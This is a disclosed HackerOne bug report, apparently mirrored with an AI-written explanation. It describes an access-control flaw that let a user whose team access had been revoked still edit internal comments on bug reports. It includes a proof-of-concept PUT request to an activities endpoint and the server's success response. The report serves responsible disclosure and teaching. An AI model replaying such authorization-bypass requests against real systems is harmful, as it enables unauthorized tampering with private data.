User with Read-Only permissions can edit the Internal comment Activities on Bug Reports After Revoke the team access permissions
A user whose team access had been revoked could still edit internal comment activities on bug reports. An attacker could modify internal comments after losing team membership.
Originally disclosed on HackerOne
- Triaged in 30 hours
- Fixed in 3 days
- Paid in 11 days
- Disclosed after 33 days
Poc :
1.Login into Program(testbug) as Alice account
2.Create a new group with "Read-only" Permission . Add a Bob to that group
3.Bob report a bug to Program(testbug) After Post "Some Internal comments"
4.Now Alice Revoke the Bob team access permissions so Bob is no longer part of the team
5.Bob escalate his privileges to edit the Internal comment Activities on Bug Reports by following Request
PUT /activities/815794 HTTP/1.1 Host: hackerone.com Connection: close Content-Length: 402 Accept: application/json, text/javascript, /; q=0.01 Origin: https://hackerone.com <redacted>
{"id":815794,"is_internal":true,"editable":true,"type":"Activities::Comment","message":"bugtested","markdown_message":"<p>bugtested</p>\n","automated_response":false,"created_at":"2016-02-28T02:51:41.488Z","updated_at":"2016-02-28T02:51:41.488Z","actor":{"username":"Bob","url":"https://hackerone.com/Bob","profile_picture_urls":{"medium":"/assets/avatars/default-9e818ea07a7aa609d7d6dfa75612832e.png"}}}
Response :
HTTP/1.1 200 OK Server: cloudflare-nginx Date: Sun, 28 Feb 2016 02:53:28 GMT Content-Type: application/json; charset=utf-8 Connection: close Status: 200 OK <redacted>
{"id":815794,"is_internal":true,"editable":true,"type":"Activities::Comment","message":"bugtested","markdown_message":"\u003cp\u003ebugtested\u003c/p\u003e\n","automated_response":false,"created_at":"2016-02-28T02:51:41.488Z","updated_at":"2016-02-28T02:53:28.728Z","actor":{"username":"Bob","url":"https://hackerone.com/Bob","profile_picture_urls":{"medium":"/assets/avatars/default-9e818ea07a7aa609d7d6dfa75612832e.png"}}}
Regards, techguynoob
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server checked only that the user was the comment author, not that they still had team access, when allowing edits.
What the attacker needed
An account with read-only group access; attacker knows a comment ID
How it was found
- Log in as Alice and create a group with read-only permission, adding Bob.
- Bob reports a bug and posts an internal comment.
- Alice revokes Bob's team access.
- Bob sends a request to edit the internal comment and succeeds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When someone is removed from a team, they should lose all access. Here, a removed user could still change internal notes on bug reports, which are meant to be private to the team.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.